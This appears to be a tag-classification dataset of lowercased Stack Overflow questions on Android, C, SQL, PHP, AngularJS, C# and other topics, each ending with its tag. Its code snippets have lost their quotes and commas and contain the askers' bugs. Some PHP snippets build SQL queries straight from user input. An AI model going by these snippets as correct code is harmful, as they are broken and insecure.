text change listener on list view  i have a list view with hym names. i also hav implemented a textchange listener to filter results on list view as per edit text input. the filter works fine but the problem is when i click on the result it calls an item on postion 0 instead of lets say item on position 7    public class mainactivity                                    extends activity    <pre><code>{   private listview list;  arrayadapter&lt;string&gt; adapter; // search edittext edittext search; // arraylist for listview arraylist&lt;hashmap&lt;string       string&gt;&gt; colourlist;  @override protected void             oncreate(bundle     savedinstancestate) {                             super.oncreate(savedinstancestate);                                 setcontentview(r.layout.main);  list=(listview)                     findviewbyid(r.id.list1);  string[] colours = new     string[]  {   black    brown    cream    green    meroon     orange    purple    red     white     yellow };  adapter = new arrayadapter &lt;     string &gt; (this                                  r.layout.list_item                  r.id.colour_names  colours);  list = (listview)     findviewbyid(r.id.list1); list.setadapter(adapter); search = (edittext) findviewbyid(r.id.search); </code></pre>   search.addtextchangedlistener(new         textwatcher() {   <pre><code>public void     ontextchanged(charsequence cs int     arg1 int arg2 int arg3) {   // when user changed the text                            mainactivity.this.adapter.getfilter().filter(cs);   }     public void     beforetextchanged(charsequence arg0 int arg1 int arg2 int arg3)   {  // todo auto-generated method stub  }  @override   public void     aftertextchanged(editable arg0)   {  // todo auto-generated method stub  }});   list.setonitemclicklistener(new         adapterview.onitemclicklistener() { public void     onitemclick(adapterview&lt; &gt;  parent view view  int positions long id) { if(positions==0)  { intent myintent=new     intent(view.getcontext()                                        black.class);                         startactivityforresult(myintent 0); } if(positions==1)  { intent myintent=new intent(view.getcontext()                                                brown.class);                     startactivityforresult(myintent 0); }                 if(positions==2)                  { intent myintent=new intent                     (view.getcontext()                       cream.class);                         startactivityforresult(myintent 0); } if(positions==3) { intent myintent=new intent (view.getcontext()                       green.class);                     startactivityforresult(myintent 0); }                     if(positions==4) { intent myintent=new intent(view.getcontext()                      meroon.class);                     startactivityforresult(myintent 0);      } if(positions==5) { intent myintent=new                         intent(view.getcontext()  </code></pre>   orange.class);      startactivityforresult(myintent 0); }    edit:    all the answers are not working   please help.,android
c recursive function palindrome  i m trying to do a recursive function with c to check if a word is a palindrome or not (read in both ways).    it s the first time i use this kind of function  but i have a problem  i don t know why it doesn t work  if you could help me  there s my code  thanks :   <pre><code>#include &lt;stdio.h&gt;  #include &lt;string.h&gt;  int palindrome(char c[100] int i  int j) {     if (j == i)     {         return 1;     }      // si le premier et le dernier caractère     // sont les mêmes alors  on peut commencer les tests     if(c[i] == c[j])     {         // on fais les tests pour chaque caractère de la chaine         return palindrome(c  i++  j--);     } else {         return 0;     }      return 0; }  int main(void) {     char chaine[100] =  radar ;     int pal;      pal = palindrome(chaine  0  strlen(chaine)); // returns : 0 -&gt; false / 1 -&gt; true     printf( %d   pal);     return 0; } </code></pre>,c
why does document.ready fire after click event  i have a basic slideshow created for my home page.    after loading the document correctly i click on my tag to fire the click event. it runs correctly but then the document load runs afterwards and resets everything back to the beginning.    its probably quite obvious but i can t see the problem. here is the code:   <pre><code>function forwardclick(){     var links = loadlinks();     imgnumber = currentimgnumber();     //now calculate the next id     imgnumber = math.min(links.length - 1  imgnumber + 1);     nextslider(imgnumber  links); }  function nextslider(imgnumber  links){      //set the link for current slide     populatelinkandimage(links  imgnumber);      //replace the text of the hidden field with the current imgnum     $( #counter ).html(imgnumber.tostring()); }  function populatelinkandimage(links  imgnumber){     //now replace the existing image and text with the correct ones for the current imgnumber     $( #imgholder ).attr( src   links[imgnumber][ imglink ]);     $( #linkholder ).attr( href   links[imgnumber][ alink ]);     $( #linkholder ).html(links[imgnumber][ text ]); }  function loadlinks(){     var links = [];     var link0 = { imglink:  images/l/ipad.jpg   text:  use our in depth guide to create a super profitable hair and beauty salon   alink:  p/managing/running-the-perfect-hair-salon.aspx  };     var link1 = { imglink:  images/l/ipad-sample-2.jpg   text:  starting  buying or planning a new cafe  build a rock solid plan here   alink:  p/managing/cafeplanner.aspx  };     links.push(link0);     links.push(link1);      return links; }  function currentimgnumber(){     //first find id number of current image loaded     //could use hidden field or loop through the array to find its index     //using hidden field     imgtext = $( #counter ).html();     imgnumber = parseint(imgtext  10);     return imgnumber; }  $(document).ready(function () {      var links = loadlinks();      //set the link for current slide     populatelinkandimage(links  0    );      //set the user interaction events     $( .next ).click(function () {         forwardclick();     });  }); </code></pre>   thanks for looking,jquery
odd ng-model behavior with nested checkboxes  ok  so here is a plunker <a href= http://plnkr.co/edit/p7ejftdsk9cfxweixzyb  rel= nofollow >http://plnkr.co/edit/p7ejftdsk9cfxweixzyb</a> of the behavior that i am experiencing. i have tried to use the same ng-model on all levels but that also displays odd behavior and this is the closest i have gotten to what i am actually trying to accomplish.    i would like the toplevel checkbox to work like the sublist1 checkboxes.    steps to create unwanted behavior:   <ol> <li>click top level checkbox for item 1</li> <li>click top level checkbox for item 1 again  so far works as expected.</li> <li>click sub level item 2.1 checkbox this works. however the top level item 1 checkbox will no longer change the item 2.1 checkbox.</li> </ol>,angularjs
multiple likes in sql  please review the following code and help me in fixing the error.    when i m trying to execute it i m getting only the records which were starting with the entbi-q.but the two conditions which were written below(task% inc%) were not getting executed.    i want the records which starts with task incident and entbi-q.    please note that the task and incident are the field values of one column and the entbi-q is the field values of the another coloumn.   <pre><code>select    s1. name  as  name      s1. sys_id  as  sysid      t2. assignment_group  as  assignmentgroup      t2. number_  as  number      t2. closed_at  as  closedat      t2. opened_at  as  openedat   from     iod . sys_user_group  s1      iod . task  t2 where    (s1. sys_id =t2. assignment_group )    and  s1. name  like  entbi-q%     and t2. number  like  task%     and t2. number  like  inc%  </code></pre>,sql
is there a more efficient/optimized way to write this piece of jquery   what is the most efficient way of coding the below functions which warn people if they try to submit an empty form and also clear forms for them to enter    <pre><code>$( #newsletter-subscribe ).focus( function() {          if(this.value== your email address ){             this.value=  ;         }     });      $( #newsletter-subscribe ).blur( function(){         if(this.value==  ){             this.value= your email address          };      });      $( #subscribe ).bind( submit   function(e){         email = $( input#newsletter-subscribe ).val();      $( input#newsletter-subscribe ).val(email);      if(jquery.trim(email) ==  your email address  || jquery.trim(email) ==   ) {       alert( please enter your email address to subscribe. );       return false;      }      }); </code></pre>,jquery
how do i know the row number of a location pointer in a 2d array   we have a 2d array  and we need to find the row number of the location pointer somewhere in the 2d array.,c++
how to manage the output page in angular js - routeprovider   my project was built on php and has some pages on angular js. there are three types of accounts in system. authorization system is based on php/mysql.    for each account i have <code>personal.html</code> template. when user is logged via account(1) i need to show him template <code>/public/html/personal.html</code> from route  if account(2) - template <code>/public/html/personal2.html</code> .etc. so  path <code>/profile/personal/:type</code> is the same for each.    how i can manage this accounts pages with a good level of security     i use <code>routeprovider</code>:   <pre><code>$routeprovider          .when( /profile/personal/:type   {              templateurl:  /public/html/personal.html                controller:  profilecontroller    }) </code></pre>,angularjs
auto increment inside a loop  i need to auto increment an array value inside a <code>while</code> loop. if the array value is <code>$values[2]</code>  i need it to be <code>$values[3]</code> on the next loop. what i have is not providing any results.   <pre><code>//select the top spread winners $query_moline =  select * from `highscore_leader` where `game_id`=\ $game_id\  and `leader_id`&lt;&gt;\ $curmemid\  and `score`&gt;\ $myscore\  and `active`= y  order by `score` desc limit \ $top_payout\  ; $moline = mysql_query($query_moline) or die(mysql_error()); $row_moline = mysql_fetch_assoc($moline); $totalrows_moline = mysql_num_rows($moline);  $index=$top_payout; static $i=2;  do {  $score_id=$row_moline[ id ]; $player_id=$row_moline[ leader_id ];  if($totalrows_moline&gt;0){ foreach ($row_moline[ id ] as $scoreid)      {         $i++;      } $player_comission=$values[$i]; //update payout tables $strsql= update `ttourmember` set `accountamount`=(`accountamount`+\ $player_comission\ ) where `memberid`=\ $player_id\  ; mysql_query($strsql $connect) or die(mysql_error()); $chkrow3=mysql_affected_rows($connect);   }} while ($row_moline = mysql_fetch_assoc($moline)); </code></pre>,php
error with program that opens file  reads data  and calculates the average  i was given an assignment in my programming class with a prompt that directly reads    <blockquote>     in this exercise exam scores for a class of students is stored in a file. you are to write a program that successfully opens the file  reads in the exam scores  and outputs them on the console.   </blockquote>   every time i run my program an error occurs showing that    <blockquote>     an unhandled exception of type  system.indexoutofrangeexception  occurred in gradecalculator.exe   </blockquote>   the error appears on the code   gradesarray[i] = gradesarray[gradedata];                         i++;    <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.io;  namespace gradecalculator {     class program     {         static void main(string[] args)         {             string folder = system.environment.getfolderpath(system.environment.specialfolder.personal) +  \\grades.txt ;             int gradedata;             streamreader grades = new streamreader(folder);             int[] gradesarray = new int[50];             while (!grades.endofstream)             {                 for (int i = 0; i != 50;)                 {                     gradedata = int.parse(grades.readline());                      gradesarray[i] = gradesarray[gradedata];                     i++;                 }             }              program calc = new program();              for (int i = 0; i &lt; 50; i++)              {                 int average = calc.averagearr(gradesarray);                 console.writeline( {0}   average);                 console.readline();             }         }          public int averagearr(int[] arr)         {             int avg = 0;             int numgrades = 0;             int sum = 0;             for (int i = 0; i &lt; 50; i++)             {                 do                 {                     sum += arr[i];                 } while (arr[i] != 0);             }             avg = sum / numgrades;             return avg;         }     } } </code></pre>   any suggestions on how to fix this     data from file: 88 90 78 65 50 83 75 23 60 94    <strong>edited new code</strong>   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.io;  namespace gradecalculator {     class program     {         static void main(string[] args)         {             string folder = system.environment.getfolderpath(system.environment.specialfolder.personal) +  \\grades.txt ;             int gradedata;             streamreader grades = new streamreader(folder);             int[] gradesarray = new int[50];             do             {                 gradedata = int.parse(grades.readline());                 for (int i = 0; i != gradesarray.length;)                 {                     gradesarray[i] = gradedata;                     i++;                 }             }             while (!grades.endofstream);              program calc = new program();              int average = calc.averagearr(gradesarray);               console.writeline( {0}   average);              console.readline();         }          public int averagearr(int[] arr)         {             int avg = 0;             int sum = 0;              for (int i = 0; i != arr.length; )             {                 sum += arr[i];                 i++;             }              avg = sum / arr.length;             return avg;         }     } } </code></pre>,c#
error in sql select query sql server 2008  i am using sql server 2008.    i have a table in which i want to insert multiple rows for which my query is    <pre><code>insert into tbl select max(v.vehicle_id) 3 v.category 150 v.rate  from vehicle v where v.parent_id=3 and v.category_id=0 </code></pre>   my select query is giving error    <pre><code>select max(v.vehicle_id) 3 v.category 150 v.rate  from vehicle v where v.parent_id=3 and v.category_id=0 </code></pre>   the error is    <pre><code>msg 8120  level 16  state 1  line 1 column  vehicle.category  is invalid in the select list because it is not  contained in either an aggregate function or the group by clause. </code></pre>   how can i fix this,sql
ruby on rails -- error rendering partial twice while passing two different variables  i m trying to use a form partial for multiple sections within a page. the first time  i m passing  section:  o    and the second time i m passing  section:  s  .    it works successfully when i pass the first variable  but the second time the form partial is rendered  it generates an  undefined method `humanize  for nil:nilclass  error.    here s an example of the form that s rendering an additional partial:   <pre><code>&lt;some form stuff here&gt; &lt;%= render partial:  item_form   locals: {f: f  section:  o } %&gt; &lt;some form stuff here&gt; &lt;%= render partial:  item_form   locals: {f: f  section:  s } %&gt; </code></pre>   and here s part of the _item_form.html.erb partial that s being rendered:   <pre><code>  &lt;% unless @item.paragraphs.empty  %&gt;     &lt;% @item.paragraphs.each do |paragraph| %&gt;       &lt;% field_type =  paragraph  if paragraph.paragraph_type ==  #{section}paragraph  %&gt;       &lt;% field_type =  figure description  if paragraph.paragraph_type ==  #{section}figure  %&gt;       &lt;% field_type =  bullet  if paragraph.paragraph_type ==  #{section}bullet  %&gt;         &lt;div class= form-group &gt;           &lt;%= f.label field_type  class:  col-sm-2 control-label  %&gt; </code></pre>   the error that i get highlights the f.label line (last line in the example above) and spits out the error  undefined method `humanize  for nil:nilclass .    any idea what s going on here  if i remove the first render  it still doesn t work. if i remove the first render and change the second section to  o  instead of  s   then it works. adding in any other letter other than  o  for the section screws it up.,ruby-on-rails
.pls file parsing  iam creating and radio application in which i have to check the authentication and after successful login i get .pls file in which there is actual url which has to be played so  anybody know how to parse .pls file and get the url inside the .pls file.,iphone
how to inject $rootscope into a service   how to inject a <code>$rootscope</code> into the factory definition for the following code (so the file can be minified):   <pre><code>(function() {     var signalrservice = function($rootscope) {        // ...      };      var app = angular.module( app );     app.factory( signalrservice   signalrservice); }()); </code></pre>,angularjs
correct json ouput iphone json_encode  i m trying to get a correct json output for iphone i m using the code:   <pre><code>&lt; php $post = array( items  =&gt; 1   title  =&gt; message   description  =&gt; description);  echo json_encode($post);  &gt; </code></pre>   and the output is:   <pre><code>{ items :1  title : message   description : description } </code></pre>   but i want a output with <code>[</code>   <pre><code>{      items : [             {                  title :  message                    description :  description              }         ] } </code></pre>   can someone tell me how to do that,objective-c
having a hard time with displaying information from my database  i m just learning php and i followed the book to the last detail and when i go to the localhost web page that i created to pull information from the database nothing shows on the webpage. i ve troubleshooted all night i ve google and read the book over and over to see what i missed. i m posting the code that i wrote to see if someone can lead me in the right area to fix my problem.    <pre><code>&lt;html&gt;   &lt;head&gt;     &lt;title&gt;pay scale&lt;/title&gt;   &lt;style type= text/css &gt;     table {       background-color: #fcf;     }      th {       width:150px;       text-align: left;     }   &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;pay scale&lt;/h1&gt;  &lt;form method=  post  action=  payscale.php  &lt;input type= hidden  name= submitted  value= true  /&gt; &lt;label&gt; search category:  &lt;select name= category &gt;     &lt;option value= id &gt;id&lt;/option&gt;     &lt;option value= first name &gt;first name&lt;/option&gt;     &lt;option value= last_name &gt;last_name&lt;/option&gt; &lt;/select&gt; &lt;/label&gt; &lt;label&gt;search criteria:  &lt;input type= text  name= criteria  /&gt; &lt;/label&gt;  &lt;input type= submit  /&gt; &lt;/form&gt;  &lt; php if (isset($_post[ submitted ])){      include( payconnect.php );      $category = $_post[ category ];     $criteria = $_post[ criteria ];     $query =  select * from employee pay range where $category =  $criteria  ;     $result = mysqli_query($dbcon  $query) or die( error getting data );      echo  &lt;table&gt; ;     echo  &lt;tr&gt; &lt;th&gt;id&lt;/th&gt; &lt;th&gt;first name&lt;/th&gt; &lt;th&gt;last_name&lt;/th&gt; &lt;th&gt;pay_range&lt;/th&gt; &lt;/tr&gt; ;      while($row = mysqli_fetch_array($result  mysqli_assoc)) {          echo  &lt;tr&gt;&lt;td&gt; ;         echo $row[ id ];         echo  &lt;/td&gt;&lt;td&gt; ;         echo $row[ first name ];         echo  &lt;/td&gt;&lt;td&gt; ;         echo $row[ last_name ];         echo  &lt;/td&gt;&lt;td&gt; ;         echo $row[ pay_range ];         echo  &lt;/td&gt;&lt;tr&gt; ;     }     echo  &lt;table&gt; ; }  &gt; &lt;/body&gt; &lt;/html&gt;   </code></pre>,php
why double area = 0;   just a newbie to c# looking for some guidance.     in the below code if i used double area; it would give me the error :  use of unassigned local variable area . i had to put double area = 0;    my question is why  why do i have to assign it a value. i have never had to do that before so it s a bit confusing to me.     thanks in advance for your response.    <pre><code>      int uservalue  rad  heightofrectangle  widthofrectangle  baseoftriangle  heightoftriangle;         double area = 0;          console.write( \n\n );         console.write( calculating area of geometrical shape\n );         console.write( =======================================\n );         console.write( \n\n );         console.write( please select 1 for circle  2 for rectangle and 3 for triangle:  );          uservalue = convert.toint32(console.readline());          switch (uservalue)         {             case 1:                 console.write( please enter radius of circle:  );                 rad = convert.toint32(console.readline());                 area = 3.14 * rad * rad;                 break;              case 2:                 console.write( please enter height of rectangle:  );                 heightofrectangle  = convert.toint32(console.readline());                 console.write( please enter width of rectangle:  );                 widthofrectangle = convert.toint32(console.readline());                 area = widthofrectangle * heightofrectangle;                 break;              case 3:                 console.write( please enter base of triangle:  );                 baseoftriangle = convert.toint32(console.readline());                 console.write( please enter height of triangle:  );                 heightoftriangle = convert.toint32(console.readline());                 area = .5 * baseoftriangle * heightoftriangle;                 break;          }          console.writeline( \nthe area is {0}   area); </code></pre>,c#
how to re-executing the code in another viewcontroller after pressing a button  i have a viewcontroller called vc and another called containervc. i want the game to act like this: when a certain condition is satisfied in vc  the containervc will pop out  and if i press a button  it will reset the game.     i am a noob in cocoa programming so...my question may sound dumb  but many thanks if someone can help me,ios
sql join two columns if one is blank  i have one mapping table with different geographical resolutions. the user enters data into a table and i m trying to join the data table to the mapping table with the condition that if you can join on zipcode value then join if zip isnt available then join on city.    is is possible to do this within a join,sql
disable cut  copy paste but enable link and scroll in uitextview  how to disable the <code>cut</code> <code>copy</code> <code>paste</code> in uitextview but i want to enable link in uitextview is it possible,objective-c
where is the delegate and event keyword defined   i have <a href= http://www.jetbrains.com/decompiler/  rel= nofollow >jetbrains dotpeek</a> installed on my machine which i use to peek into the way .net types are defined. most of the types generally come under mscorlib.dll  system.dll and a few other dlls. i am trying to find how the delegate and event keywords are defined in the .net bcl  but i am unable to locate it inside any dll. i am also unable to find any online documentation that reveals where it is defined. can someone tell me where is the delegate and event keyword defined,.net
sscanf formatted input in c++  i have the following code which works if there are no spaces in the input string.   <pre><code>char* input2 =  (1 2 3) ; sscanf (input2  (%d %d %d)   &amp;r  &amp;n  &amp;p); </code></pre>   this fails for the following input:   <pre><code>char input2 =   ( 1   2   3  )  ; </code></pre>   how to fix this,c++
using tuple for inserting into command  i m trying to get this script to take the contents of the tuple and cycle through using a <code>for</code> loop (i m not sure where to put it in my code) and put the contents of the tuple in a command. for this example i ve used <code>find</code> as the command. depending on which option the executor uses <code>sp1</code> or <code>sp2</code> will determine how much of the tuple will be used.   <pre><code>import sys  subprocess  os  string  cmd =  /bin/find    tuple = ( apple    banana    cat    dog )  sp1 = tuple[0:1] sp2 = tuple[2:3]  def find():     find_cmd = subprocess.popen(cmd +   * -name {} .format(type))                                  stdout=subprocess.pipe                                  stderr=subprocess.pipe  shell=true)     output  err = find_cmd.communicate()     find = output     find_temp = []     find_temp = string.split(find)     if find_temp[0] ==    :         print( found nothing )     else:         print( found {} .format(find_temp))  type_input = input( are you looking for fruit or animals   ) if type_input  ==  fruit :     type = sp1 elif type_input ==  animals :     type = sp2     print( syntax error )     exit()  find() </code></pre>,python
an array out of bounds error  i want to write code that splits a string into separate substrings each with 3 characters and assign them to a string array for example the string  abcdefg  can be spit to  abc    bcd    cde    efg  and these are assigned to a string array. i have the following code which is getting an error:   <pre><code>string[] words = new string[] {}; string sequence =  abcdefg ; int i;  for(i = 0; i &lt;= sequence.length()-3; i++) {                words[i] = sequence.substring(i  3+i);     system.out.println(words[i]); } </code></pre>,java
how to paste element after the second array s element  i have a mysql query which request the news on my website i use the   <pre><code>$sql = mysql_query( select * from news ); $count = mysql_num_rows($sql); if ($count) {     while ($myarray = mysql_fetch_array($sql)) {     $myarray[ headline ];     $myarray[ content ];     } } </code></pre>   what have i done if i would like to paste like a video after the first news  so between the first and the second one i would love to paste one youtube video.,php
return data inside function from http post  i want to get data pass from a function  the data successfully return inside the success response. however i can t return the data from the function itself.    <pre><code>    function getstatuspublished(dating  product)        {         var datas =   ;          var deferred = $q.defer();          var success = function(response  status  headers  config){           datas = response;         }           var error = function(error  status  headers  config){           datas =  error ;         }           var cdnss =  htttp://application_ajax ;         $http.post(cdnss+ &amp;pblishdatevacan= +dating+ &amp;projectid= +product).success(success).error(error);           console.log(datas);       } </code></pre>   in the console.log it just said <em>undefined</em>.    please help. thanks.,angularjs
how to send post requests for site api   i learn api for web application and use c# for send requests. api work with json format  and i use this code for send post:   <pre><code>private static string post(string url  string data)     {         var req = webrequest.create(url);         req.method =  post ;         req.timeout = 100000;         req.contenttype =  application/json ;         var sentdata = encoding.getencoding(1251).getbytes(data);         req.contentlength = sentdata.length;         var sendstream = req.getrequeststream();         sendstream.write(sentdata  0  sentdata.length);         sendstream.close();         var res = req.getresponse();         var receivestream = res.getresponsestream();         var sr = new streamreader(receivestream  encoding.utf8);         //кодировка указывается в зависимости от кодировки ответа сервера         var read = new char[256];         var count = sr.read(read  0  256);         var out = string.empty;         while (count &gt; 0)         {             var str = new string(read  0  count);             out += str;             count = sr.read(read  0  256);         }         return out;     } </code></pre>   i use it like this  but it is not working:   <pre><code>post(@ https://mysite.ru/api.php/methodapi id=2091&amp;access_token=mytoken    \ parameter\ : \ value\  );  </code></pre>   i understand right that  parameter send in data  i never work with any api  may be doing something wrong     thanks for answers and sorry for my english.,c#
asyncronous image loading in uitableview cell  i am new in iphone programming. i want to load images in to the uitableview. my images came from the web. i know that i must use <code>asihttp request</code> and then load images to the uitableview. but if i do that then until its load images uitableview hang. if i use asynchronous image loading block then each time when <code>cell==nil</code> or reuse the request maid  that i doesn t want to do.    following line of code i am using in tableview <code>cellforrowatindexpath</code>.   <pre><code>    -(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath     {          static nsstring *cellidentifier = @ cellidentifier ;          uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];         uiimageview *imgviewcellbg;          if (cell == nil) {             cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];             cell.accessorytype=uitableviewcellaccessorynone;                       imgviewcellbg = [[uiimageview alloc] initwithframe:cgrectmake(0 0 320 151)];                    imgviewcellbg.userinteractionenabled = no;                      imgviewcellbg.backgroundcolor = [uicolor whitecolor];                    imgviewcellbg.tag = 10000;                    [cell.contentview addsubview:imgviewcellbg];                    [imgviewcellbg release];           }        else{                    imgviewcellbg = (uiimageview *)[cell.contentview viewwithtag:10000];             }        //-------------------------------- for the image downloding and displaying ------             __block asihttprequest *request = [asihttprequest requestwithurl:[nsurl urlwithstring:(my url)]];             [request setcompletionblock:^{                 // nslog(@ image downloaded. );                 nsdata *data = [request responsedata];                 uiimage *imagecountry = [[uiimage alloc] initwithdata:data];                  [imgviewcellbg setimage:imagecountry];                 imagecountry = nil;              }];             [request setfailedblock:^{                 nserror *error = [request error];                 nslog(@ error downloading image: %@   error.localizeddescription);             }];             [request startasynchronous];             //-----------------------------------------------------------------    return cell; </code></pre>,iphone
what is the recommended way to support multiple languages in my c# program   i m about to start a desktop program that i want to add support for as many languages as i can. i m going to be using c# and at least .net 2.0. is there a recommended way for adding support for multiple languages in the gui and error messages      many thanks,c#
mysql datatype that s integer to store integers in a comma-separated way  what datatype can i use to store a value like <code>1 2 3 4 5</code>. i d like them to remain as integers and not strings. i know i can use <code>varchar() or enum() or set()</code>  but those are strings. i m using mysql version <code>5.5.25</code>. the values being stored isn t fixed either. it could be <code>1</code> or <code>1 2 3</code>,mysql
what happens when auto increment get a duplicate   my primary key auto increment reached its maximum value (assume 5) but i have unused numbers (because of deletion) (assume 1 &amp; 3). if i reset the auto increment using this code:   <pre><code>alter table table_name auto_increment = 1 </code></pre>   if i inserted 2 new rows now what will happen  will it skip 2 and insert it as 3  or will it generate an error,sql
error initializing c++ map  i have created the following class:   <pre><code>class a{  public:  static std::map&lt;std::pair&lt;unsigned  unsigned&gt;  unsigned&gt; var1; };  std::map&lt;std::pair&lt;unsigned  unsigned&gt;  unsigned&gt; a::var1[std::make_pair(0 0)]=0; //it is used to initialize static variable var1 inside a. </code></pre>   however  when i do so i get the following error:   <pre><code>array bound is not an integer constant before ‘]’ token </code></pre>   is there some way by which i may initialize var1 with some default values,c++
[html]: determine names of all elements on a page  is there any way to know the ids and names of all the objects on a page  any tool,html
can a character array be used as expression for switch statement  <pre><code>void main() {   char name[20];    printf( \n enter your name:  );   gets(name);    switch(name)   {     default : printf(  invalid  );   }    getch(); } </code></pre>   so my question: is a char array or simple array valid in expression for switch and  if it is valid  then what are the case values,c
how to get month & year from nsdate   is there any way/ method to seperate month &amp; year form nsdate     i just need to display current month &amp; year  any example,iphone
no application configuration file found in fuslogvw.exe logs  i m creating a c# .net project in which i m trying to load third party assemblies which are installed in gac.    but in some machines i m getting an error stating  unable to load assembly of specified version 7.0.351.0 .     when i tried to do an assembly redirection it didn t work it still shows the same error.    note: 7.0.351.0 -the is version with which it is compiled.    12.0.0.0 - assembly present in the target machine    properties of reference specific version -> false    aliases -> global    copy local -> false    this is my sample application configuration file   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;configuration&gt;     &lt;runtime&gt;         &lt;assemblybinding xmlns= urn:schemas-microsoft-com:asm.v1  &gt;             &lt;dependentassembly&gt;                 &lt;assemblyidentity                     name= act.framework                      publickeytoken= ebf6b2ff4d0a08aa  /&gt;                 &lt;bindingredirect oldversion= 7.0.351.0  newversion= 12.0.0.0  /&gt;             &lt;/dependentassembly&gt;          &lt;/assemblybinding&gt;     &lt;/runtime&gt; &lt;/configuration&gt;  </code></pre>   logs of fuslogvw shows     log: no application configuration file found.     but i already added the app config file. is it not detecting my config file     how do i make it detect     steps i did to add app.config file:   <ol> <li>add new item through project wizard and select  application configuration file . </li> </ol>,.net
python - programming a multiple-choice quiz program (i.e. driver s license exam)  i m working on a project; to program a driver s license exam that has 20 multiple-choice questions.and i have a list of 20 correct answers.  1.a 2.c  3.. 4... so on.    -program must store the correct answers in a list.    -the program should get the student’s answers for each of the 20 questions and store the answers in another list.    -after the student’s answers have been entered  the program should display a message indicating whether the student passed or failed the exam. (a student must correctly answer 15 of the 20 questions to pass the exam.)    the program should then display: 17. b 18. b 19. d 20. a    ￼-the total number of correctly answered questions    -the total number of incorrectly answered questions    -a list showing the question numbers of the incorrectly answered questions.    . . .    <strong>just wanted to get some ideas from others  if you were to write this program how would you approach   need some advise :) and i m not asking for any code   i want to solve this program but don t know where to begin..any inputs  i m new to python and i took a beginner level java course</strong>    thank you for your time.,python
failure to access sqlite entries in rails  i am unable to access the entries of a database in rails. i would like to print each entry.    my table <code>courses</code> looks like:   <pre><code>id  instructor name     number created_at   updated_at 1   smith      testing  100    2017-02-10   2017-02-10 2   hong       web dev  202    2017-02-10   2017-02-10 3   roger      ethics   333    2017-02-10   2017-02-10 4   sipher     recess   456    2017-02-10   2017-02-10 </code></pre>   my controller is:   <pre><code>class maincontroller &lt; applicationcontroller   def index     #query the model for the data and send to view     @courses = course.all  # select * from courses   end end </code></pre>   the view is:   <pre><code>&lt;h1&gt;list of courses&lt;/h1&gt; &lt;ol&gt;   &lt;% for course in @courses %&gt;     &lt;li&gt;&lt;%=course.name +     + course.instructor%&gt;&lt;/li&gt;       &lt;li&gt;hello&lt;/li&gt;   &lt;% end %&gt; &lt;/ol&gt; &lt;p&gt;end of list&lt;/p&gt; </code></pre>   but my output in browser only shows the header with  list of courses  and the opening and closing list tags.    <strong>edit:</strong>    the populated table:    <a href= https://i.stack.imgur.com/pqije.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pqije.png  alt= populated table ></a>    is my table somehow not completely saved  my controller runs fine and doesn t throw any errors when i call <code>@courses = course.all</code>  so it must be able to see that the table exists  but the controller can t see the rows that i have populated.,ruby-on-rails
how to remove three dots from text-overflow: ellipsis   i am showing product title inside a <code>&lt;span&gt;</code>. i want the title to be truncated when there is no enough space. i tried <code>text-overflow: clipping</code>  but its not taking the padding which is applied on right side. so i used <code>text-overflow: ellipsis</code>  it works fine  but i don t wanna keep that  ...  3 dots at the end. is there any way to hide or remove it by css,css
angular factory - return two sets of data  i have a factory in angular and i want to make two api calls and return the data to my controller. i ve been having a little bit of trouble returning both sets of data - especially with the .catch. i m an angular n00b so i m getting a little thrown off with the async promises. i ve tried using $q.all but it doesn t seem to be working with the catch. let me know if you need any more info!!   <pre><code>  .factory( initializecoremodels   [ $q   usermodel    redirect    countrylist                         function($q  usermodel  redirect  countrylist){     return function(){       return countrylist.getall()       return usermodel.getmodel()         .catch(function(error){           if (error.status){             return redirect.hrefurl( / );           }           return $q.reject(error);         });       }; </code></pre>,angularjs
remove javascript attribute of onclick function   how can you remove the onclick attribute of a javascript function (solved).,html
looking to select a row from the database using datetime  i have the following query   <pre><code>select * from  .tbl_foot_games.  order by id desc limit 1 </code></pre>   i need to add a <code>where</code> clause on the field <code>date_confirmed</code>.    <code>date_confirmed</code> is a <code>datetime</code> type.    i need to select only rows that are within 7 days of the current moment.    more code   <pre><code>select g.home_user  g.away_user  g.home_score  g.away_score  g.id as gameid  g.date_confirmed          hu.username as home_username  au.username as away_username  ht.team as home_team  at.team as away_team        from tbl_foot_games g inner join tbl_users hu on hu.id = g.home_user inner join tbl_users au on au.id = g.away_user         inner join tbl_foot_teams ht on ht.id = g.home_team inner join tbl_foot_teams at on at.id = g.away_team        where (g.type =  1  or g.type =  2  or g.type =  3  or g.type =  4 ) and g.status =  3  and g.date_confirmed between now() and date_sub(now()  interval 50 week)        order by g.id desc limit 1 </code></pre>   the statement works fine until i add the where clause for the 50 week interval.,mysql
layout out data-entry form in html: table or no table   i want to create a data-entry form like the following:   <pre><code>name:    [ name textbox ] age:     [ age textbox  ] label n: [ textbox n    ] </code></pre>   where the labels left-align  and the textboxes left-align.  i know i can do this in a <code>table</code> element  but i m also aware that  tables should only be for tabular data .  while i part agree/disagree with that statement - i d like to know whether my desired layout could/should be considered  tabular data   and what an alternative layout would be to produce the same results without dozens of lines of complicated cross-browser css.    i don t do web development much at the moment (strictly winforms for some time now when i do ui work)  so i appreciate there may be an elegant solution.  possibly involving an unordered list with the bullet points turned off and a bit off label->field y position offsetting  perhaps,html
magento 1.9.2 is html 5 or not or how i can change the page to html 5  someone please help me i am getting confused tha this doc type declaration is html 5 or not in magento 1.9.2        i have checked online but nothing found which tels me if this is html 5 or not.    please help,html
struct in queue  i have a struct like below:   <pre><code>struct add {     public static string url;     public static string password;     public static string fake_path;     public static list&lt;string&gt; upload = new list&lt;string&gt;(); } </code></pre>   from the form i fill all these vars. and then i need to add this struct to queue. how to do this,c#
